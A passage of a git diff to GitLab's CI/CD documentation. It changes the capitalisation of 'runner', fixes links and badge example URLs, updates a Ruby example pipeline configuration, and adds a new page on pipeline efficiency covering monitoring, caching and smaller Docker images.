rspec: junit: rspec.xml ``` -The collected JUnit reports upload to GitLab as an artifact and display in merge requests. +The collected Unit test reports upload to GitLab as an artifact and display in merge requests. NOTE: **Note:** If the JUnit tool you use exports to multiple XML files, specify @@ -221,7 +221,7 @@ dashboards. CAUTION: **Warning:** This artifact is still valid but is **deprecated** in favor of the -[artifacts:reports:license_scanning](../pipelines/job_artifacts.md#artifactsreportslicense_scanning-ultimate) +[artifacts:reports:license_scanning](../pipelines/job_artifacts.md#artifactsreportslicense_scanning) introduced in GitLab 12.8. The `license_management` report collects [Licenses](../../user/compliance/license_compliance/index.md) diff --git a/doc/ci/pipelines/pipeline_architectures.md b/doc/ci/pipelines/pipeline_architectures.md index ace765ddb41..77614424b33 100644 --- a/doc/ci/pipelines/pipeline_architectures.md +++ b/doc/ci/pipelines/pipeline_architectures.md @@ -199,7 +199,7 @@ trigger_a: include: a/.gitlab-ci.yml rules: - changes: - - a/* + - a/* trigger_b: stage: triggers @@ -207,7 +207,7 @@ trigger_b: include: b/.gitlab-ci.yml rules: - changes: - - b/* + - b/* ``` Example child `a` pipeline configuration, located in `/a/.gitlab-ci.yml`, making diff --git a/doc/ci/pipelines/pipeline_efficiency.md b/doc/ci/pipelines/pipeline_efficiency.md new file mode 100644 index 00000000000..c4febba8f44 --- /dev/null +++ b/doc/ci/pipelines/pipeline_efficiency.md @@ -0,0 +1,252 @@ +--- +stage: Verify +group: Continuous Integration +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +type: reference +--- + +# Pipeline Efficiency + +[CI/CD Pipelines](index.md) are the fundamental building blocks for [GitLab CI/CD](../README.md). +Making pipelines more efficient helps you save developer time, which: + +- Speeds up your DevOps processes +- Reduces costs +- Shortens the development feedback loop + +It's common that new teams or projects start with slow and inefficient pipelines, +and improve their configuration over time through trial and error. A better process is +to use pipeline features that improve efficiency right away, and get a faster software +development lifecycle earlier. + +First ensure you are familiar with [GitLab CI/CD fundamentals](../introduction/index.md) +and understand the [quick start guide](../quick_start/README.md). + +## Identify bottlenecks and common failures + +The easiest indicators to check for inefficient pipelines are the runtimes of the jobs, +stages, and the total runtime of the pipeline itself. The total pipeline duration is +heavily influenced by the: + +- Total number of stages and jobs. +- Dependencies between jobs. +- The ["critical path"](#directed-acyclic-graphs-dag-visualization), which represents + the minimum and maximum pipeline duration. + +Additional points to pay attention relate to [GitLab Runners](../runners/README.md): + +- Availability of the runners and the resources they are provisioned with. +- Build dependencies and their installation time. +- [Container image size](#docker-images). +- Network latency and slow connections. + +Pipelines frequently failing unnecessarily also causes slowdowns in the development +lifecycle. You should look for problematic patterns with failed jobs: + +- Flaky unit tests which fail randomly, or produce unreliable test results. +- Test coverage drops and code quality correlated to that behavior. +- Failures that can be safely ignored, but that halt the pipeline instead. +- Tests that fail at the end of a long pipeline, but could be in an earlier stage, + causing delayed feedback. + +## Pipeline analysis + +Analyze the performance of your pipeline to find ways to improve efficiency. Analysis +can help identify possible blockers in the CI/CD infrastructure. This includes analyzing: + +- Job workloads. +- Bottlenecks in the execution times. +- The overall pipeline architecture. + +It's important to understand and document the pipeline workflows, and discuss possible +actions and changes. Refactoring pipelines may need careful interaction between teams +in the DevSecOps lifecycle. + +Pipeline analysis can help identify issues with cost efficiency. For example, [runners](../runners/README.md) +hosted with a paid cloud service may be provisioned with: + +- More resources than needed for CI/CD pipelines, wasting money. +- Not enough resources, causing slow runtimes and wasting time. + +### Pipeline Insights + +The [Pipeline success and duration charts](index.md#pipeline-success-and-duration-charts) +give information about pipeline runtime and failed job counts. + +Tests like [unit tests](../unit_test_reports.md), integration tests, end-to-end tests, +[code quality](../../user/project/merge_requests/code_quality.md) tests, and others +ensure that problems are automatically found by the CI/CD pipeline. There could be many +pipeline stages involved causing long runtimes. + +You can improve runtimes by running jobs that test different things in parallel, in +the same stage, reducing overall runtime. The downside is that you need more runners +running simultaneously to support the parallel jobs. + +The [testing levels for GitLab](../../development/testing_guide/testing_levels.md) +provide an example of a complex testing strategy with many components involved. + +### Directed Acyclic Graphs (DAG) visualization + +The [Directed Acyclic Graph](../directed_acyclic_graph/index.md) (DAG) visualization can help analyze the critical path in +the pipeline and understand possible blockers. + + + +### Pipeline Monitoring + +Global pipeline health is a key indicator to monitor along with job and pipeline duration. +[CI/CD analytics](index.md#pipeline-success-and-duration-charts) give a visual +representation of pipeline health. + +Instance administrators have access to additional [performance metrics and self-monitoring](../../administration/monitoring/index.md). + +You can fetch specific pipeline health metrics from the [API](../../api/README.md). +External monitoring tools can poll the API and verify pipeline health or collect +metrics for long term SLA analytics. + +For example, the [GitLab CI Pipelines Exporter](https://github.com/mvisonneau/gitlab-ci-pipelines-exporter) +for Prometheus fetches metrics from the API. It can check branches in projects automatically +and get the pipeline status and duration. In combination with a Grafana dashboard, +this helps build an actionable view for your operations team. Metric graphs can also +be embedded into incidents making problem resolving easier. + + + +Alternatively, you can use a monitoring tool that can execute scripts, like +[`check_gitlab`](https://gitlab.com/6uellerBpanda/check_gitlab) for example. + +#### Runner monitoring + +You can also [monitor CI runners](https://docs.gitlab.com/runner/monitoring/) on +their host systems, or in clusters like Kubernetes. This includes checking: + +- Disk and disk IO +- CPU usage +- Memory +- Runner process resources + +The [Prometheus Node Exporter](https://prometheus.io/docs/guides/node-exporter/) +can monitor runners on Linux hosts, and [`kube-state-metrics`](https://github.com/kubernetes/kube-state-metrics) +runs in a Kubernetes cluster. + +You can also test [GitLab Runner auto-scaling](https://docs.gitlab.com/runner/configuration/autoscale.html) +with cloud providers, and define offline times to reduce costs. + +#### Dashboards and incident management + +Use your existing monitoring tools and dashboards to integrate CI/CD pipeline monitoring, +or build them from scratch. Ensure that the runtime data is actionable and useful +in teams, and operations/SREs are able to identify problems early enough. +[Incident management](../../operations/incident_management/index.md) can help here too, +with embedded metric charts and all valuable details to analyze the problem. + +### Storage usage + +Review the storage use of the following to help analyze costs and efficiency: + +- [Job artifacts](job_artifacts.md) and their [`expire_in`](../yaml/README.md#artifactsexpire_in) + configuration. If kept for too long, storage usage grows and could slow pipelines down. +- [Container registry](../../user/packages/container_registry/index.md) usage. +- [Package registry](../../user/packages/package_registry/index.md) usage. + +## Pipeline configuration + +Make careful choices when configuring pipelines to speed up pipelines and reduce +resource usage. This includes making use of GitLab CI/CD's built-in features that +make pipelines run faster and more efficiently. + +### Reduce how often jobs run + +Try to find which jobs don't need to run in all situations, and use pipeline configuration +to stop them from running: + +- Use the [`interruptible`](../yaml/README.md#interruptible) keyword to stop old pipelines + when they are superceded by a newer pipeline. +- Use [`rules`](../yaml/README.md#rules) to skip tests that aren't needed. For example, + skip backend tests when only the frontend code is changed. +- Run non-essential [scheduled pipelines](schedules.md) less frequently. + +### Fail fast + +Ensure that errors are detected early in the CI/CD pipeline. A job that takes a very long +time to complete keeps a pipeline from returning a failed status until the job completes. + +Design pipelines so that jobs that can [fail fast](../../user/project/merge_requests/fail_fast_testing.md) +run earlier. For example, add an early stage and move the syntax, style linting, +Git commit message verification, and similar jobs in there. + +Decide if it's important for long jobs to run early, before fast feedback from +faster jobs. The initial failures may make it clear that the rest of the pipeline +shouldn't run, saving pipeline resources. + +### Directed Acyclic Graphs (DAG) + +In a basic configuration, jobs always wait for all other jobs in earlier stages to complete +before running. This is the simplest configuration, but it's also the slowest in most +cases. [Directed Acyclic Graphs](../directed_acyclic_graph/index.md) and +[parent/child pipelines](../parent_child_pipelines.md) are more flexible and can +be more efficient, but can also make pipelines harder to understand and analyze. + +### Caching + +Another optimization method is to use [caching](../caching/index.md) between jobs and stages, +for example [`/node_modules` for NodeJS](../caching/index.md#caching-nodejs-dependencies). + +### Docker Images + +Downloading and initializing Docker images can be a large part of the overall runtime +of jobs. + +If a Docker image is slowing down job execution, analyze the base image size and network +connection to the registry. If GitLab is running in the cloud, look for a cloud container +registry offered by the vendor. In addition to that, you can make use of the +[GitLab container registry](../../user/packages/container_registry/index.md) which can be accessed +by the GitLab instance faster than other registries. + +#### Optimize Docker images + +Build optimized Docker images because large Docker images use up a lot of space and +take a long time to download with slower connection speeds. If possible, avoid using +one large image for all jobs. Use multiple smaller images, each for a specific task, +that download and run faster. + +Try to use custom Docker images with the software pre-installed. It's usually much +faster to download a larger pre-configured image than to use a common image and install +software on it each time. Docker's [Best practices for writing Dockerfiles](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/) +has more information about building efficient Docker images. + +Methods to reduce Docker image size: + +- Use a small base image, for example `debian-slim`. +- Do not install convenience tools like vim, curl, and so on, if they aren't strictly needed. +- Create a dedicated development image. +- Disable man pages and docs installed by packages to save space. +- Reduce the `RUN` layers and combine software installation steps. +- If using `apt`, add `--no-install-recommends` to avoid unnecessary packages. +- Clean up caches and files that are no longer needed at the end. For example + `rm -rf /var/lib/apt/lists/*` for Debian and Ubuntu, or `yum clean all` for RHEL and CentOS. +- Use tools like [dive](https://github.com/wagoodman/dive) or [DockerSlim](https://github.com/docker-slim/docker-slim) + to analyze and shrink images. + +To simplify Docker image management, you can create a dedicated group for managing +[Docker images](../docker/README.md) and test, build and publish them with CI/CD pipelines. + +## Test, document, and learn + +Improving pipelines is an iterative process. Make small changes, monitor the effect, +then iterate again. Many small improvements can add up to a large increase in pipeline +efficiency. + +It can help to document the pipeline design and architecture. You can do this with +[Mermaid charts in Markdown](../../user/markdown.md#mermaid) directly in the GitLab +repository. + +Document CI/CD pipeline problems and incidents in issues, including research done +and solutions found. This helps onboarding new team members, and also helps +identify recurring problems with CI pipeline efficiency. + +### Learn More + +- [CI Monitoring Webcast Slides](https://docs.google.com/presentation/d/1ONwIIzRB7GWX-WOSziIIv8fz1ngqv77HO1yVfRooOHM/edit?usp=sharing) +- [GitLab.com Monitoring Handbook](https://about.gitlab.com/handbook/engineering/monitoring/) +- [Buildings dashboards for operational visibility](https://aws.amazon.com/builders-library/building-dashboards-for-operational-visibility/) diff --git a/doc/ci/pipelines/settings.md b/doc/ci/pipelines/settings.md index 40093167213..849eb66d07f 100644 --- a/doc/ci/pipelines/settings.md +++ b/doc/ci/pipelines/settings.md @@ -57,17 +57,17 @@ The default value is 60 minutes. Decrease the time limit if you want to impose a hard limit on your jobs' running time or increase it otherwise. In any case, if the job surpasses the threshold, it is marked as failed. -### Timeout overriding on Runner level +### Timeout overriding for runners > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/17221) in GitLab 10.7. Project defined timeout (either specific timeout set by user or the default -60 minutes timeout) may be [overridden on Runner level](../runners/README.md#set-maximum-job-timeout-for-a-runner). +60 minutes timeout) may be [overridden for runners](../runners/README.md#set-maximum-job-timeout-for-a-runner). ## Maximum artifacts size **(CORE ONLY)** For information about setting a maximum artifact size for a project, see -[Maximum artifacts size](../../user/admin_area/settings/continuous_integration.md#maximum-artifacts-size-core-only). +[Maximum artifacts size](../../user/admin_area/settings/continuous_integration.md#maximum-artifacts-size). ## Custom CI configuration path @@ -263,7 +263,15 @@ Depending on the status of your job, a badge can have the following values: You can access a pipeline status badge image using the following link: ```plaintext -https://example.gitlab.com/<namespace>/<project>/badges/<branch>/pipeline.svg +https://gitlab.example.com/<namespace>/<project>/badges/<branch>/pipeline.svg +``` + +#### Display only non-skipped status + +If you want the pipeline status badge to only display the last non-skipped status, you can use the `?ignore_skipped=true` query parameter: + +```plaintext +https://gitlab.example.com/<namespace>/<project>/badges/<branch>/pipeline.svg?ignore_skipped=true ``` ### Test coverage report badge @@ -275,7 +283,7 @@ pipeline can have the test coverage percentage value defined. The test coverage badge can be accessed using following link: ```plaintext -https://example.gitlab.com/<namespace>/<project>/badges/<branch>/coverage.svg +https://gitlab.example.com/<namespace>/<project>/badges/<branch>/coverage.svg ``` If you would like to get the coverage report from a specific job, you can add @@ -294,7 +302,7 @@ Pipeline badges can be rendered in different styles by adding the `style=style_n #### Flat (default) ```plaintext -https://example.gitlab.com/<namespace>/<project>/badges/<branch>/coverage.svg?style=flat +https://gitlab.example.com/<namespace>/<project>/badges/<branch>/coverage.svg?style=flat ```  @@ -304,7 +312,7 @@ https://example.gitlab.com/<namespace>/<project>/badges/<branch>/coverage.svg?st > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/30120) in GitLab 11.8. ```plaintext -https://example.gitlab.com/<namespace>/<project>/badges/<branch>/coverage.svg?style=flat-square +https://gitlab.example.com/<namespace>/<project>/badges/<branch>/coverage.svg?style=flat-square ```  diff --git a/doc/ci/quick_start/README.md b/doc/ci/quick_start/README.md index 050df243af4..fa16614b0e0 100644 --- a/doc/ci/quick_start/README.md +++ b/doc/ci/quick_start/README.md @@ -11,9 +11,9 @@ GitLab offers a [continuous integration](https://about.gitlab.com/stages-devops- [pipeline](../pipelines/index.md), you must: - Add a [`.gitlab-ci.yml` file](#creating-a-gitlab-ciyml-file) to your repository's root directory. -- Ensure your project is configured to use a [Runner](#configuring-a-runner). +- Ensure your project is configured to use a [runner](#configuring-a-runner). -The `.gitlab-ci.yml` file tells the GitLab Runner what to do. A simple pipeline commonly has +The `.gitlab-ci.yml` file tells the runner what to do. A simple pipeline commonly has three [stages](../yaml/README.md#stages): - `build` @@ -57,7 +57,7 @@ The `.gitlab-ci.yml` file is where you configure what CI does with your project. It lives in the root of your repository. On any push to your repository, GitLab will look for the `.gitlab-ci.yml` -file and start jobs on _Runners_ according to the contents of the file, +file and start jobs on _runners_ according to the contents of the file, for that commit. Because `.gitlab-ci.yml` is in the repository and is version controlled, old @@ -80,14 +80,15 @@ so you have to pay extra attention to indentation. Always use spaces, not tabs. Below is an example for a Ruby on Rails project: ```yaml -image: "ruby:2.5" - -before_script: - - sudo apt-get update -qq && sudo apt-get install -y -qq sqlite3 libsqlite3-dev nodejs - - ruby -v - - which ruby - - gem install bundler --no-document - - bundle install --jobs $(nproc) "${FLAGS[@]}" +default: + image: ruby:2.5 + before_script: + - apt-get update + - apt-get install -y sqlite3 libsqlite3-dev nodejs + - ruby -v + - which ruby + - gem install bundler --no-document + - bundle install --jobs $(nproc) "${FLAGS[@]}" rspec: script: @@ -109,7 +110,7 @@ The `.gitlab-ci.yml` file defines sets of jobs with constraints of how and when they should be run. The jobs are defined as top-level elements with a name (in our case `rspec` and `rubocop`) and always have to contain the `script` keyword. Jobs are used to create jobs, which are then picked by -[Runners](../runners/README.md) and executed within the environment of the Runner. +[runners](../runners/README.md) and executed within the environment of the runner. What is important is that each job is run independently from each other. @@ -134,7 +135,7 @@ Now if you go to the **Pipelines** page you will see that the pipeline is pending. NOTE: **Note:** -If you have a [mirrored repository where GitLab pulls from](../../user/project/repository/repository_mirroring.md#pulling-from-a-remote-repository-starter), +If you have a [mirrored repository where GitLab pulls from](../../user/project/repository/repository_mirroring.md#pulling-from-a-remote-repository), you may need to enable pipeline triggering in your project's **Settings > Repository > Pull from a remote repository > Trigger pipelines for mirror updates**. @@ -148,59 +149,54 @@ Clicking on it you will be directed to the jobs page for that specific commit.  Notice that there is a pending job which is named after what we wrote in -`.gitlab-ci.yml`. "stuck" indicates that there is no Runner configured +`.gitlab-ci.yml`. "stuck" indicates that there is no runner configured yet for this job. -The next step is to configure a Runner so that it picks the pending jobs. +The next step is to configure a runner so that it picks the pending jobs. -## Configuring a Runner +## Configuring a runner -In GitLab, Runners run the jobs that you define in `.gitlab-ci.yml`. A Runner -can be a virtual machine, a VPS, a bare-metal machine, a Docker container or -even a cluster of containers. GitLab and the Runners communicate through an API, -so the only requirement is that the Runner's machine has network access to the +In GitLab, runners run the jobs that you define in `.gitlab-ci.yml`. A runner +can be a virtual machine, a VPS, a bare-metal machine, a Docker container, or +even a cluster of containers. GitLab and the runner communicate through an API, +so the only requirement is that the runner's machine has network access to the GitLab server. -A Runner can be specific to a certain project or serve multiple projects in -GitLab. If it serves all projects it's called a _Shared Runner_. - -Find more information about different Runners in the -[Runners](../runners/README.md) documentation. +A runner can be specific to a certain project or serve multiple projects in +GitLab. If it serves all projects, it's called a _shared runner_. -You can find whether any Runners are assigned to your project by going to -**Settings âž” CI/CD**. Setting up a Runner is easy and straightforward. The -official Runner supported by GitLab is written in Go and its documentation -can be found at <https://docs.gitlab.com/runner/>. +Find more information about runners in the +[runner](../runners/README.md) documentation. -In order to have a functional Runner you need to follow two steps: +The official runner supported by GitLab is written in Go. +View [the documentation](https://docs.gitlab.com/runner/). -1. [Install it](https://docs.gitlab.com/runner/install/) -1. [Configure it](https://docs.gitlab.com/runner/configuration/) +For a runner to be available in GitLab, you must: -Follow the links above to set up your own Runner or use a Shared Runner as -described in the next section. +1. [Install GitLab Runner](https://docs.gitlab.com/runner/install/). +1. [Register a runner for your group or project](https://docs.gitlab.com/runner/register/). -Once the Runner has been set up, you should see it on the Runners page of your -project, following **Settings âž” CI/CD**. +When a runner is available, you can view it by +clicking **Settings > CI/CD** and expanding **Runners**.  -### Shared Runners +### Shared runners -If you use [GitLab.com](https://gitlab.com/) you can use the **Shared Runners** -provided by GitLab Inc. +If you use [GitLab.com](https://gitlab.com/), you can use the **shared runners** +provided by GitLab. These are special virtual machines that run on GitLab's infrastructure and can build any project. -To enable the **Shared Runners** you have to go to your project's -**Settings âž” CI/CD** and click **Enable shared runners**. +To enable shared runners, go to your project's or group's +**Settings > CI/CD** and click **Enable shared runners**. -[Read more on Shared Runners](../runners/README.md). +[Read more about shared runners](../runners/README.md#shared-runners). -## Seeing the status of your pipeline and jobs +## Viewing the status of your pipeline and jobs -After configuring the Runner successfully, you should see the status of your +After configuring the runner successfully, you should see the status of your last commit change from _pending_ to either _running_, _success_ or _failed_. You can view all pipelines by going to the **Pipelines** page in your project. @@ -220,7 +216,10 @@ you expected. You are also able to view the status of any commit in the various pages in GitLab, such as **Commits** and **Merge requests**. -## Examples +## Additional resources Visit the [examples README](../examples/README.md) to see a list of examples using GitLab CI with various languages. + +For help making your new pipelines faster and more efficient, see the +[pipeline efficiency documentation](../pipelines/pipeline_efficiency.md). diff --git a/doc/ci/review_apps/index.md b/doc/ci/review_apps/index.md index 283e4c69941..e2d5cbcbea4 100644 --- a/doc/ci/review_apps/index.md +++ b/doc/ci/review_apps/index.md @@ -46,8 +46,8 @@ In this example, a branch was: After adding Review Apps to your workflow, you follow the branched Git flow. That is: -1. Push a branch and let the Runner deploy the Review App based on the `script` definition of the dynamic environment job. -1. Wait for the Runner to build and deploy your web application. +1. Push a branch and let the runner deploy the Review App based on the `script` definition of the dynamic environment job. +1. Wait for the runner to build and deploy your web application. 1. Click on the link provided in the merge request related to the branch to see the changes live. ## Configuring Review Apps @@ -57,7 +57,7 @@ Review Apps are built on [dynamic environments](../environments/index.md#configu The process of configuring Review Apps is as follows: 1. Set up the infrastructure to host and deploy the Review Apps (check the [examples](#review-apps-examples) below). -1. [Install](https://docs.gitlab.com/runner/install/) and [configure](https://docs.gitlab.com/runner/commands/) a Runner to do deployment. +1. [Install](https://docs.gitlab.com/runner/install/) and [configure](https://docs.gitlab.com/runner/commands/) a runner to do deployment. 1. Set up a job in `.gitlab-ci.yml` that uses the [predefined CI environment variable](../variables/README.md) `${CI_COMMIT_REF_NAME}` to create dynamic environments and restrict it to run only on branches. Alternatively, you can get a YML template for this job by [enabling review apps](#enable-review-apps-button) for your project. @@ -130,20 +130,20 @@ deployed from its [project on GitLab.com](https://gitlab.com/gitlab-com/www-gitl ```yaml # Team data -- source: 'data/team.yml' # data/team.yml - public: 'team/' # team/ +- source: 'data/team.yml' # data/team.yml + public: 'team/' # team/ # Blogposts -- source: /source\/posts\/([0-9]{4})-([0-9]{2})-([0-9]{2})-(.+?)\..*/ # source/posts/2017-01-30-around-the-world-in-6-releases.html.md.erb - public: '\1/\2/\3/\4/' # 2017/01/30/around-the-world-in-6-releases/ +- source: /source\/posts\/([0-9]{4})-([0-9]{2})-([0-9]{2})-(.+?)\..*/ # source/posts/2017-01-30-around-the-world-in-6-releases.html.md.erb + public: '\1/\2/\3/\4/' # 2017/01/30/around-the-world-in-6-releases/ # HTML files -- source: /source\/(.+?\.html).*/ # source/index.html.haml - public: '\1' # index.html +- source: /source\/(.+?\.html).*/ # source/index.html.haml + public: '\1' # index.html # Other files -- source: /source\/(.*)/ # source/images/blogimages/around-the-world-in-6-releases-cover.png - public: '\1' # images/blogimages/around-the-world-in-6-releases-cover.png +- source: /source\/(.*)/ # source/images/blogimages/around-the-world-in-6-releases-cover.png + public: '\1' # images/blogimages/around-the-world-in-6-releases-cover.png ``` Mappings are defined as entries in the root YAML array, and are identified by a `-` prefix. Within an entry, there is a hash map with two keys: diff --git a/doc/ci/runners/README.md b/doc/ci/runners/README.md index 6d248156004..32561e6b98c 100644 --- a/doc/ci/runners/README.md +++ b/doc/ci/runners/README.md @@ -5,62 +5,62 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: reference --- -# Configuring GitLab Runners +# Configuring runners in GitLab <!-- This topic contains several commented-out sections that were accidentally added in 13.2.--> -<!-- The commented-out sections are added back in 13.3.--> +<!-- The commented-out sections will be added back in a future release.--> -In GitLab CI/CD, Runners run the code defined in [`.gitlab-ci.yml`](../yaml/README.md). -A GitLab Runner is a lightweight, highly-scalable agent that picks up a CI job through +In GitLab CI/CD, runners run the code defined in [`.gitlab-ci.yml`](../yaml/README.md). +A runner is a lightweight, highly-scalable agent that picks up a CI job through the coordinator API of GitLab CI/CD, runs the job, and sends the result back to the GitLab instance. Runners are created by an administrator and are visible in the GitLab UI. Runners can be specific to certain projects or available to all projects. -## Types of Runners +## Types of runners -There are three types of Runners: +There are three types of runners: - [Shared](#shared-runners) (for all projects) - [Group](#group-runners) (for all projects in a group) - [Specific](#specific-runners) (for specific projects) -If you are running self-managed GitLab, you can create your own Runners. +If you are running self-managed GitLab, you can create your own runners. -If you are using GitLab.com, you can use the shared Runners provided by GitLab or -create your own group or specific Runners. +If you are using GitLab.com, you can use the shared runners provided by GitLab or +create your own group or specific runners. -### Shared Runners +### Shared runners -*Shared Runners* are available to every project in a GitLab instance. +*Shared runners* are available to every project in a GitLab instance. -Use shared Runners when you have multiple jobs with similar requirements. Rather than -having multiple Runners idling for many projects, you can have a few Runners that handle +Use shared runners when you have multiple jobs with similar requirements. Rather than +having multiple runners idling for many projects, you can have a few runners that handle multiple projects. If you are using a self-managed instance of GitLab: -- Your administrator can install and register shared Runners by viewing the instructions +- Your administrator can install and register shared runners by viewing the instructions [here](https://docs.gitlab.com/runner/install/index.html). <!-- going to your project's - <!-- **Settings > CI / CD**, expanding the **Runners** section, and clicking **Show Runner installation instructions**.--> + <!-- **Settings > CI / CD**, expanding the **Runners** section, and clicking **Show runner installation instructions**.--> <!-- These instructions are also available [here](https://docs.gitlab.com/runner/install/index.html).--> -- The administrator can also configure a maximum number of shared Runner [pipeline minutes for - each group](../../user/admin_area/settings/continuous_integration.md#shared-runners-pipeline-minutes-quota-starter-only). +- The administrator can also configure a maximum number of shared runner [pipeline minutes for + each group](../../user/admin_area/settings/continuous_integration.md#shared-runners-pipeline-minutes-quota). If you are using GitLab.com: -- You can select from a list of [shared Runners that GitLab maintains](../../user/gitlab_com/index.md#shared-runners). -- The shared Runners consume the [pipelines minutes](../../subscriptions/index.md#ci-pipeline-minutes) +- You can select from a list of [shared runners that GitLab maintains](../../user/gitlab_com/index.md#shared-runners). +- The shared runners consume the [pipelines minutes](../../subscriptions/gitlab_com/index.md#ci-pipeline-minutes) included with your account. -#### How shared Runners pick jobs +#### How shared runners pick jobs -Shared Runners process jobs by using a fair usage queue. This queue prevents +Shared runners process jobs by using a fair usage queue. This queue prevents projects from creating hundreds of jobs and using all available -shared Runner resources. +shared runner resources. The fair usage queue algorithm assigns jobs based on the projects that have the -fewest number of jobs already running on shared Runners. +fewest number of jobs already running on shared runners. **Example 1** @@ -88,259 +88,259 @@ The fair usage algorithm assigns jobs in this order: If these jobs are in the queue: -- Job 1 for project 1 -- Job 2 for project 1 -- Job 3 for project 1 -- Job 4 for project 2 -- Job 5 for project 2 -- Job 6 for project 3 +- Job 1 for Project 1 +- Job 2 for Project 1 +- Job 3 for Project 1 +- Job 4 for Project 2 +- Job 5 for Project 2 +- Job 6 for Project 3 The fair usage algorithm assigns jobs in this order: 1. Job 1 is chosen first, because it has the lowest job number from projects with no running jobs (that is, all projects). -1. We finish job 1. +1. We finish Job 1. 1. Job 2 is next, because, having finished Job 1, all projects have 0 jobs running again, and 2 is the lowest available job number. -1. Job 4 is next, because with Project 1 running a job, 4 is the lowest number from projects running no jobs (Projects 2 and 3). -1. We finish job 4. +1. Job 4 is next, because with Project 1 running a Job, 4 is the lowest number from projects running no jobs (Projects 2 and 3). +1. We finish Job 4. 1. Job 5 is next, because having finished Job 4, Project 2 has no jobs running again. 1. Job 6 is next, because Project 3 is the only project left with no running jobs. 1. Lastly we choose Job 3... because, again, it's the only job left. -#### Enable shared Runners +#### Enable shared runners -On GitLab.com, [shared Runners](#shared-runners) are enabled in all projects by +On GitLab.com, [shared runners](#shared-runners) are enabled in all projects by default. On self-managed instances of GitLab, an administrator must [install](https://docs.gitlab.com/runner/install/index.html) and [register](https://docs.gitlab.com/runner/register/index.html) them. -You can also enable shared Runners for individual projects. +You can also enable shared runners for individual projects. -To enable shared Runners: +To enable shared runners: 1. Go to the project's **Settings > CI/CD** and expand the **Runners** section. -1. Click **Allow shared Runners**. +1. Click **Allow shared runners**. -#### Disable shared Runners +#### Disable shared runners -You can disable shared Runners for individual projects<!-- or for groups-->. +You can disable shared runners for individual projects<!-- or for groups-->. You must have Owner permissions for the project<!-- or group-->. -To disable shared Runners for a project: +To disable shared runners for a project: 1. Go to the project's **Settings > CI/CD** and expand the **Runners** section. -1. In the **Shared Runners** area, click **Disable shared Runners**. +1. In the **Shared runners** area, click **Disable shared runners**. -<!--To disable shared Runners for a group: +<!--To disable shared runners for a group: 1. Go to the group's **Settings > CI/CD** and expand the **Runners** section. -1. In the **Shared Runners** area, click **Disable shared Runners globally**. -1. Optionally, to allow shared Runners to be enabled for individual projects or subgroups, +1. In the **Shared runners** area, click **Disable shared runners globally**. +1. Optionally, to allow shared runners to be enabled for individual projects or subgroups, click **Allow projects/subgroups to override the global setting**. --> -### Group Runners +### Group runners -Use *Group Runners* when you want all projects in a group -to have access to a set of Runners. +Use *Group runners* when you want all projects in a group +to have access to a set of runners. -Group Runners process jobs by using a first in, first out ([FIFO](https://en.wikipedia.org/wiki/FIFO_(computing_and_electronics))) queue. +Group runners process jobs by using a first in, first out ([FIFO](https://en.wikipedia.org/wiki/FIFO_(computing_and_electronics))) queue. -#### Create a group Runner +#### Create a group runner -You can create a group Runner for your self-managed GitLab instance or for GitLab.com. +You can create a group runner for your self-managed GitLab instance or for GitLab.com. You must have [Owner permissions](../../user/permissions.md#group-members-permissions) for the group. -To create a group Runner: +To create a group runner: -1. [Install Runner](https://docs.gitlab.com/runner/install/). -1. Go to the group you want to make the Runner work for. +1. [Install GitLab Runner](https://docs.gitlab.com/runner/install/). +1. Go to the group you want to make the runner work for. 1. Go to **Settings > CI/CD** and expand the **Runners** section. 1. Note the URL and token. -1. [Register the Runner](https://docs.gitlab.com/runner/register/). +1. [Register the runner](https://docs.gitlab.com/runner/register/). -#### View and manage group Runners +#### View and manage group runners > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/37366/) in GitLab 13.2. -You can view and manage all Runners for a group, its subgroups, and projects. +You can view and manage all runners for a group, its subgroups, and projects. You can do this for your self-managed GitLab instance or for GitLab.com. You must have [Owner permissions](../../user/permissions.md#group-members-permissions) for the group. -1. Go to the group where you want to view the Runners. +1. Go to the group where you want to view the runners. 1. Go to **Settings > CI/CD** and expand the **Runners** section. 1. The following fields are displayed. | Attribute | Description | | ------------ | ----------- | | Type | One or more of the following states: shared, group, specific, locked, or paused | - | Runner token | Token used to identify the Runner, and which the Runner uses to communicate with the GitLab instance | - | Description | Description given to the Runner when it was created | + | Runner token | Token used to identify the runner, and that the runner uses to communicate with the GitLab instance | + | Description | Description given to the runner when it was created | | Version | GitLab Runner version | - | IP address | IP address of the host on which the Runner is registered | - | Projects | The count of projects to which the Runner is assigned | - | Jobs | Total of jobs run by the Runner | - | Tags | Tags associated with the Runner | - | Last contact | Timestamp indicating when the GitLab instance last contacted the Runner | + | IP address | IP address of the host on which the runner is registered | + | Projects | The count of projects to which the runner is assigned | + | Jobs | Total of jobs run by the runner | + | Tags | Tags associated with the runner | + | Last contact | Timestamp indicating when the GitLab instance last contacted the runner | -From this page, you can edit, pause, and remove Runners from the group, its subgroups, and projects. +From this page, you can edit, pause, and remove runners from the group, its subgroups, and projects. -#### Pause or remove a group Runner +#### Pause or remove a group runner -You can pause or remove a group Runner for your self-managed GitLab instance or for GitLab.com. +You can pause or remove a group runner for your self-managed GitLab instance or for GitLab.com. You must have [Owner permissions](../../user/permissions.md#group-members-permissions) for the group. -1. Go to the group you want to remove or pause the Runner for. +1. Go to the group you want to remove or pause the runner for. 1. Go to **Settings > CI/CD** and expand the **Runners** section. -1. Click **Pause** or **Remove Runner**. - - If you pause a group Runner that is used by multiple projects, the Runner pauses for all projects. - - From the group view, you cannot remove a Runner that is assigned to more than one project. +1. Click **Pause** or **Remove runner**. + - If you pause a group runner that is used by multiple projects, the runner pauses for all projects. + - From the group view, you cannot remove a runner that is assigned to more than one project. You must remove it from each project first. 1. On the confirmation dialog, click **OK**. -### Specific Runners +### Specific runners -Use *Specific Runners* when you want to use Runners for specific projects. For example, +Use *Specific runners* when you want to use runners for specific projects. For example, when you have: - Jobs with specific requirements, like a deploy job that requires credentials. -- Projects with a lot of CI activity that can benefit from being separate from other Runners. +- Projects with a lot of CI activity that can benefit from being separate from other runners. -You can set up a specific Runner to be used by multiple projects. Specific Runners +You can set up a specific runner to be used by multiple projects. Specific runners must be enabled for each project explicitly. -Specific Runners process jobs by using a first in, first out 